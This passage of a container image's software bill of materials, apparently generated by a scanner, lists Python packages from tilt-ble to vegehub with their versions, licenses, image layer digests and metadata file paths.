}, "FilePath": "usr/local/lib/python3.14/site-packages/tilt_ble-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tilt-pi", "Identifier": { "PURL": "pkg:pypi/tilt-pi@0.2.1", "UID": "55cbc4605084de59" }, "Version": "0.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tilt_pi-0.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tinyhtml", "Identifier": { "PURL": "pkg:pypi/tinyhtml@1.3.0", "UID": "c4a10a14c4f5c1f" }, "Version": "1.3.0", "Licenses": [ "MIT", "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tinyhtml-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tinytag", "Identifier": { "PURL": "pkg:pypi/tinytag@2.2.1", "UID": "c23970bf4887c47f" }, "Version": "2.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tinytag-2.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "titlecase", "Identifier": { "PURL": "pkg:pypi/titlecase@2.4.1", "UID": "a72019eaea4e72f8" }, "Version": "2.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/titlecase-2.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tmb", "Identifier": { "PURL": "pkg:pypi/tmb@0.0.4", "UID": "f6e7f831a556b794" }, "Version": "0.0.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tmb-0.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "todoist_api_python", "Identifier": { "PURL": "pkg:pypi/todoist-api-python@3.1.0", "UID": "863cf9d9e206f5c8" }, "Version": "3.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/todoist_api_python-3.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "togrill-bluetooth", "Identifier": { "PURL": "pkg:pypi/togrill-bluetooth@0.8.1", "UID": "2b0c9996157c6302" }, "Version": "0.8.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/togrill_bluetooth-0.8.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tololib", "Identifier": { "PURL": "pkg:pypi/tololib@1.2.2", "UID": "b0268820c341d224" }, "Version": "1.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tololib-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tomli", "Identifier": { "PURL": "pkg:pypi/tomli@2.4.0", "UID": "f35b5cd13f7ab285" }, "Version": "2.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools/_vendor/tomli-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tomli", "Identifier": { "PURL": "pkg:pypi/tomli@2.4.1", "UID": "bbb277905e052176" }, "Version": "2.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tomli-2.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tomli_w", "Identifier": { "PURL": "pkg:pypi/tomli-w@1.2.0", "UID": "ec5d0352d5e721c8" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tomli_w-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "toonapi", "Identifier": { "PURL": "pkg:pypi/toonapi@0.3.0", "UID": "55f0b7eb30d6b422" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/toonapi-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "total_connect_client", "Identifier": { "PURL": "pkg:pypi/total-connect-client@2025.12.2", "UID": "b2ae9af8ddd1f08d" }, "Version": "2025.12.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/total_connect_client-2025.12.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tplink_omada_client", "Identifier": { "PURL": "pkg:pypi/tplink-omada-client@1.5.8", "UID": "53ec816ae5a3dd3" }, "Version": "1.5.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tplink_omada_client-1.5.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tqdm", "Identifier": { "PURL": "pkg:pypi/tqdm@4.68.4", "UID": "14426fa781f3a456" }, "Version": "4.68.4", "Licenses": [ "MPL-2.0 AND MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tqdm-4.68.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "transitions", "Identifier": { "PURL": "pkg:pypi/transitions@0.8.11", "UID": "7262e4dbedab73ae" }, "Version": "0.8.11", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/transitions-0.8.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "transmission-rpc", "Identifier": { "PURL": "pkg:pypi/transmission-rpc@7.0.3", "UID": "db9aa2a40938905b" }, "Version": "7.0.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/transmission_rpc-7.0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "triggercmd", "Identifier": { "PURL": "pkg:pypi/triggercmd@0.0.36", "UID": "4d17e9c9d1fd227f" }, "Version": "0.0.36", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/triggercmd-0.0.36.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "trio", "Identifier": { "PURL": "pkg:pypi/trio@0.33.0", "UID": "bf683695cf01c689" }, "Version": "0.33.0", "Licenses": [ "MIT OR Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/trio-0.33.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "trio-websocket", "Identifier": { "PURL": "pkg:pypi/trio-websocket@0.12.2", "UID": "e2b70b9497fac90b" }, "Version": "0.12.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/trio_websocket-0.12.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "trmnl", "Identifier": { "PURL": "pkg:pypi/trmnl@0.1.1", "UID": "63abc8670d365294" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/trmnl-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ttls", "Identifier": { "PURL": "pkg:pypi/ttls@1.8.3", "UID": "face4d473eaef1da" }, "Version": "1.8.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ttls-1.8.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ttn_client", "Identifier": { "PURL": "pkg:pypi/ttn-client@1.3.0", "UID": "5af206905e369940" }, "Version": "1.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ttn_client-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tuya-device-handlers", "Identifier": { "PURL": "pkg:pypi/tuya-device-handlers@0.0.25", "UID": "f25aba9b2b316ab2" }, "Version": "0.0.25", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tuya_device_handlers-0.0.25.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tuya-device-sharing-sdk", "Identifier": { "PURL": "pkg:pypi/tuya-device-sharing-sdk@0.2.10", "UID": "c7f97d76280cb10a" }, "Version": "0.2.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tuya_device_sharing_sdk-0.2.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "twentemilieu", "Identifier": { "PURL": "pkg:pypi/twentemilieu@3.0.0", "UID": "8861b5e434201efd" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/twentemilieu-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "twilio", "Identifier": { "PURL": "pkg:pypi/twilio@6.32.0", "UID": "bc646823f3f52c57" }, "Version": "6.32.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/twilio-6.32.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "twitchAPI", "Identifier": { "PURL": "pkg:pypi/twitchapi@4.2.1", "UID": "589055521601383" }, "Version": "4.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/twitchAPI-4.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typedmonarchmoney", "Identifier": { "PURL": "pkg:pypi/typedmonarchmoney@0.7.0", "UID": "20a7e7521e7015ee" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/typedmonarchmoney-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typeguard", "Identifier": { "PURL": "pkg:pypi/typeguard@4.5.2", "UID": "134e5d9e57b80486" }, "Version": "4.5.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/typeguard-4.5.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typer", "Identifier": { "PURL": "pkg:pypi/typer@0.12.5", "UID": "1098ed9a5ed8044" }, "Version": "0.12.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/typer-0.12.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typer-slim", "Identifier": { "PURL": "pkg:pypi/typer-slim@0.21.2", "UID": "dfddfff8566a9e69" }, "Version": "0.21.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/typer_slim-0.21.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "types-pytz", "Identifier": { "PURL": "pkg:pypi/types-pytz@2026.2.0.20260518", "UID": "3a7463b97118fdd0" }, "Version": "2026.2.0.20260518", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/types_pytz-2026.2.0.20260518.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing-inspect", "Identifier": { "PURL": "pkg:pypi/typing-inspect@0.9.0", "UID": "b19467cb3871adf" }, "Version": "0.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/typing_inspect-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing-inspection", "Identifier": { "PURL": "pkg:pypi/typing-inspection@0.4.2", "UID": "d06bf23f2e739f35" }, "Version": "0.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/typing_inspection-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "typing_extensions", "Identifier": { "PURL": "pkg:pypi/typing-extensions@4.16.0", "UID": "6d19c9d56499684f" }, "Version": "4.16.0", "Licenses": [ "PSF-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/typing_extensions-4.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tzdata", "Identifier": { "PURL": "pkg:pypi/tzdata@2026.3", "UID": "1d007ab4307db4d4" }, "Version": "2026.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/tzdata-2026.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "tzlocal", "Identifier": { "PURL": "pkg:pypi/tzlocal@5.3.1", "UID": "89483d39239baec6" }, "Version": "5.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/tzlocal-5.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uModbus", "Identifier": { "PURL": "pkg:pypi/umodbus@1.0.4", "UID": "9adfcba64643847b" }, "Version": "1.0.4", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uModbus-1.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uart-devices", "Identifier": { "PURL": "pkg:pypi/uart-devices@0.1.1", "UID": "ff4bf915149bcace" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/uart_devices-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uasiren", "Identifier": { "PURL": "pkg:pypi/uasiren@0.0.1", "UID": "2e0f32008a587c27" }, "Version": "0.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uasiren-0.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uhooapi", "Identifier": { "PURL": "pkg:pypi/uhooapi@1.2.8", "UID": "924e515e42a14531" }, "Version": "1.2.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uhooapi-1.2.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uiprotect", "Identifier": { "PURL": "pkg:pypi/uiprotect@15.4.3", "UID": "8f785fe2442cbe24" }, "Version": "15.4.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uiprotect-15.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ujson", "Identifier": { "PURL": "pkg:pypi/ujson@5.13.0", "UID": "9187c18b1754f95a" }, "Version": "5.13.0", "Licenses": [ "BSD-3-Clause AND TCL" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ujson-5.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ulid-transform", "Identifier": { "PURL": "pkg:pypi/ulid-transform@2.2.9", "UID": "f917078d61ecdc79" }, "Version": "2.2.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/ulid_transform-2.2.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ultraheat_api", "Identifier": { "PURL": "pkg:pypi/ultraheat-api@0.6.1", "UID": "dbd5ecd0cf97b8f9" }, "Version": "0.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ultraheat_api-0.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "unicode-rbnf", "Identifier": { "PURL": "pkg:pypi/unicode-rbnf@2.4.0", "UID": "3cbb189dc02ac4ab" }, "Version": "2.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/unicode_rbnf-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "unifi-discovery", "Identifier": { "PURL": "pkg:pypi/unifi-discovery@1.5.0", "UID": "4f04847cdf37d4b7" }, "Version": "1.5.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/unifi_discovery-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "unifi_ap", "Identifier": { "PURL": "pkg:pypi/unifi-ap@0.0.2", "UID": "22c2491e43d8c5ad" }, "Version": "0.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/unifi_ap-0.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "universal-silabs-flasher", "Identifier": { "PURL": "pkg:pypi/universal-silabs-flasher@1.1.0", "UID": "45cbb3cc29294481" }, "Version": "1.1.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/universal_silabs_flasher-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "unpaddedbase64", "Identifier": { "PURL": "pkg:pypi/unpaddedbase64@2.1.0", "UID": "3cc8e3427f51c015" }, "Version": "2.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/unpaddedbase64-2.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "untangle", "Identifier": { "PURL": "pkg:pypi/untangle@1.2.1", "UID": "cacd78ebfe31e03" }, "Version": "1.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/untangle-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "upb-lib", "Identifier": { "PURL": "pkg:pypi/upb-lib@0.7.2", "UID": "7b64858f9ad18283" }, "Version": "0.7.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/upb_lib-0.7.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "upcloud_api", "Identifier": { "PURL": "pkg:pypi/upcloud-api@2.9.0", "UID": "58c20abd8e9d143d" }, "Version": "2.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/upcloud_api-2.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "update_checker", "Identifier": { "PURL": "pkg:pypi/update-checker@1.0.0", "UID": "9ab64aad70d3de12" }, "Version": "1.0.0", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/update_checker-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uplink", "Identifier": { "PURL": "pkg:pypi/uplink@0.10.0", "UID": "36239c925139a266" }, "Version": "0.10.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uplink-0.10.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uplink-protobuf", "Identifier": { "PURL": "pkg:pypi/uplink-protobuf@0.1.0", "UID": "a746c544bbc16e18" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uplink_protobuf-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uritemplate", "Identifier": { "PURL": "pkg:pypi/uritemplate@4.2.0", "UID": "881c8ea2153537c9" }, "Version": "4.2.0", "Licenses": [ "BSD 3-Clause OR Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uritemplate-4.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "url-normalize", "Identifier": { "PURL": "pkg:pypi/url-normalize@3.0.0", "UID": "2b863eb329cb53ee" }, "Version": "3.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/url_normalize-3.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "urllib3", "Identifier": { "PURL": "pkg:pypi/urllib3@2.7.0", "UID": "950d7930ec160981" }, "Version": "2.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/urllib3-2.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "usb-devices", "Identifier": { "PURL": "pkg:pypi/usb-devices@0.5.1", "UID": "6cce3a0c7cada32c" }, "Version": "0.5.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/usb_devices-0.5.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uv", "Identifier": { "PURL": "pkg:pypi/uv@0.11.25", "UID": "4d0a26d698daa331" }, "Version": "0.11.25", "Licenses": [ "MIT OR Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/uv-0.11.25.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uvcclient", "Identifier": { "PURL": "pkg:pypi/uvcclient@0.12.1", "UID": "ed1f92ca8b2dae55" }, "Version": "0.12.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uvcclient-0.12.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "uvicorn", "Identifier": { "PURL": "pkg:pypi/uvicorn@0.51.0", "UID": "aa25f4a0f2b0a8d8" }, "Version": "0.51.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/uvicorn-0.51.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vacuum-map-parser-base", "Identifier": { "PURL": "pkg:pypi/vacuum-map-parser-base@0.1.5", "UID": "9762b4e58cee2c18" }, "Version": "0.1.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vacuum_map_parser_base-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vacuum-map-parser-roborock", "Identifier": { "PURL": "pkg:pypi/vacuum-map-parser-roborock@0.1.5", "UID": "12c196ab381d3aa2" }, "Version": "0.1.5", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vacuum_map_parser_roborock-0.1.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "validators", "Identifier": { "PURL": "pkg:pypi/validators@0.35.0", "UID": "e63db59712263f1" }, "Version": "0.35.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/validators-0.35.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vallox_websocket_api", "Identifier": { "PURL": "pkg:pypi/vallox-websocket-api@6.0.0", "UID": "d496c6afb50d5002" }, "Version": "6.0.0", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/vallox_websocket_api-6.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "vegehub", "Identifier": { "PURL": "pkg:pypi/vegehub@0.1.26", "UID": "9ec6149ebeeb38cc" }, "Version": "0.1.26", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": 